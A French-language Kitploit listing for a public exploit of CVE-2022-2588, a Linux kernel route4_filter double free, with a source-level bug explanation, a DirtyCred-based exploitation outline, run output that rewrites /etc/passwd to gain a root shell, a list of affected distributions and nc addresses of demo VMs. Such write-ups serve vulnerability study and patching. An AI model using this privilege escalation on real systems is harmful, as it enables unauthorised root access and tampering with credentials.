Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-2588 — exploit for CVE-2022-2588 | Kitploit
Outils/GitHubGitHub/markakd/cve-2022-2588
Privilege EscalationVulnerability AnalysisExploitationLearning & EducationBinary Exploitation
GitHubmarkakd/cve-2022-2588

CVE-2022-2588

exploit for CVE-2022-2588

Voir le dépôt
48871il y a 3 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2022-2588

Le correctif

Le bug est corrigé dans Linux v5.19 par ce commit.

Le bug

Le bug a été introduit dans Linux v3.17 par ce commit en 2014. Il nécessite User Namespaces pour être déclenché. Ce bug est très similaire à CVE-2021-3715, qui était causé par une opération incorrecte sur la liste chaînée route4_filter. Plus de détails sur CVE-2021-3715 peuvent être trouvés dans le talk blackhat (page 16). Voici quelques brèves informations sur CVE-2022-2588.

Les éléments de code suivants montrent des extraits importants de la fonction route4_change pour comprendre CVE-2022-2588.

root@kitploit:~
static int route4_change(...)
{
    ...
    f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL);      [0]
    ...
    // if there exists a filter with the same handler, copy some information
    if (fold) {                                                 [1]
        f->id = fold->id;
        f->iif = fold->iif;
        f->res = fold->res;
        f->handle = fold->handle;

        f->tp = fold->tp;
        f->bkt = fold->bkt;
        new = false;
    }
    
    // initialize the new filter
    err = route4_set_parms(net, tp, base, f, handle, head, tb,  [2]
                   tca[TCA_RATE], new, flags, extack);
    if (err < 0)
        goto errout;

    // insert the new filter to the list
    h = from_hash(f->handle >> 16);                             [3]
    fp = &f->bkt->ht[h];
    for (pfp = rtnl_dereference(*fp);
         (f1 = rtnl_dereference(*fp)) != NULL;
         fp = &f1->next)
        if (f->handle < f1->handle)
            break;

    tcf_block_netif_keep_dst(tp->chain->block);
    rcu_assign_pointer(f->next, f1);
    rcu_assign_pointer(*fp, f);
    
    // remove fold filter from the list if fold exists
    if (fold && fold->handle && f->handle != fold->handle) {    [4]
        th = to_hash(fold->handle);
        h = from_hash(fold->handle >> 16);
        b = rtnl_dereference(head->table[th]);
        if (b) {
            fp = &b->ht[h];
            for (pfp = rtnl_dereference(*fp); pfp;
                 fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
                if (pfp == fold) {
                    rcu_assign_pointer(*fp, fold->next);  [5]// remove the old from the linked list
                    break;
                }
            }
        }
    }
...
    // free the fold filter if it exists                         [6]
    if (fold) {
        tcf_unbind_filter(tp, &fold->res);
        tcf_exts_get_net(&fold->exts);
        tcf_queue_work(&fold->rwork, route4_delete_filter_work);
    }

La fonction est implémentée pour initialiser/remplacer l'objet route4_filter. Le filtre utilise handle comme un identifiant unique pour distinguer chaque filtre. S'il existe un handle qui a déjà été initialisé (c'est-à-dire que la variable fold n'est pas nulle), il mettra à jour le filtre en supprimant l'ancien filtre et en ajoutant un nouveau filtre, sinon, il ajoutera simplement un nouveau filtre.

Dans [0], le noyau alloue l'objet route4_filter. Dans [1], si fold n'est pas vide, ce qui signifie qu'il existe un filtre avec le même handle, il copie certaines informations vers le nouveau filtre et initialise le nouveau filtre dans [2], puis insère le nouveau filtre dans la liste dans [3]. Si l'ancien filtre existe, il est retiré de la liste dans [4] et libéré dans [6].

Le bug se produit dans [4], qui vérifie s'il existe un ancien filtre à supprimer. La condition garantit que le handle ne doit pas être nul et qu'il doit correspondre au handle du nouveau filtre. Cette condition ne correspond pas à la condition de libération du filtre dans [6], qui vérifie seulement si l'ancien filtre existe. Par conséquent, si les utilisateurs créent un filtre dont le handle est 0, puis déclenchent son remplacement, le filtre ne sera pas délié dans [4] mais sera libéré dans [6] car leurs conditions ne sont pas les mêmes.

L'exploitation

Étant donné que ce bug est similaire à CVE-2021-3715, leurs primitives sont presque les mêmes. Les lecteurs peuvent se référer au talk blackhat pour une description plus détaillée des primitives. Cet article montre l'exploitation avec l'idée de DirtyCred.

Étant donné que le fold libéré est toujours sur la liste chaînée après avoir déclenché le bug, nous pouvons libérer le fold une fois de plus, ce qui finira par provoquer un double free sur l'objet route4_filter et l'objet route4_filter->exts.action si CONFIG_NET_CLS_ACT est activé.

Les codes d'exploitation utilisent ces deux capacités de double free pour démontrer l'attaque sur task credentials (utilisant un double free kmalloc-192, à venir) et open file credentials (utilisant un double free kmalloc-256).

Attaque sur les credentials de fichier

Suivant l'idée de DirtyCred, le code d'exploitation échange les credentials du fichier après les vérifications de permission, nous permettant ainsi d'écrire n'importe quel contenu dans des fichiers avec permission de lecture. Idéalement, le code pourrait fonctionner sur toutes les versions du noyau affectées par le bug. Il est à noter que pour s'assurer que le code fonctionne sur les noyaux plus anciens où msg_msg est isolé dans kmalloc-rcl-*, l'exploit utilise un objet de spray différent.

root@kitploit:~
[zip@localhost ~]$ ./exp_file
self path /home/zip/./exp_file
prepare done
Old limits -> soft limit= 14096          hard limit= 14096
starting exploit, num of cores: 32
defrag done
spray 256 done
freed the filter object
256 freed done
double free done
spraying files
found overlap, id : 257, 1061
start slow write
closed overlap
got cmd, start spraying /etc/passwd
spray done
write done, spent 1.621078 s
should be after the slow write
succeed
[zip@localhost ~]$ head -n 4 /etc/passwd
user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[zip@localhost ~]$ su user # the password is user
Password:
sh-4.4# id
uid=0(user) gid=0(root) groups=0(root)

L'exploit a été écrit pour fonctionner sur autant de distributions que possible. Il a été confirmé de fonctionner sur :

  • CentOS 8/Stream (4.18.0-80.el8.x86_64 ~ xxx)
  • CentOS 7 (4.20.11-1.el7.x86_64, 5.4.179-1.el7.x86_64, 5.9.6-1.el7.x86_64)
  • Debian 11 (5.10.0-8-amd64 ~ xxx)
  • Fedora 33 (5.8.15-301.fc33.x86_64 ~ xxx)
  • Manjaro 18 (xxx ~ xxx)
  • RHEL 8 (4.18.0-80.el8.x86_64 ~ xxx)
  • Ubuntu 17 (4.10.0-19-generic ~ xxx)
  • Ubuntu 18 (xxx ~ xxx)
  • Ubuntu 19 (5.0.0-38-generic ~ xxx)
  • Ubuntu 20 (xxx ~ xxx)

(N'hésitez pas à envoyer une PR pour mettre à jour ceci si vous constatez qu'il fonctionne sur d'autres noyaux.)

Vous voulez jouer avec l'exploit dans la VM ?

Veuillez vous connecter avec l'utilisateur low et le mot de passe low

Ubuntu 20

root@kitploit:~
nc 150.136.171.117 1337

Centos 8

root@kitploit:~
nc 150.136.171.117 1338
Télécharger l’outil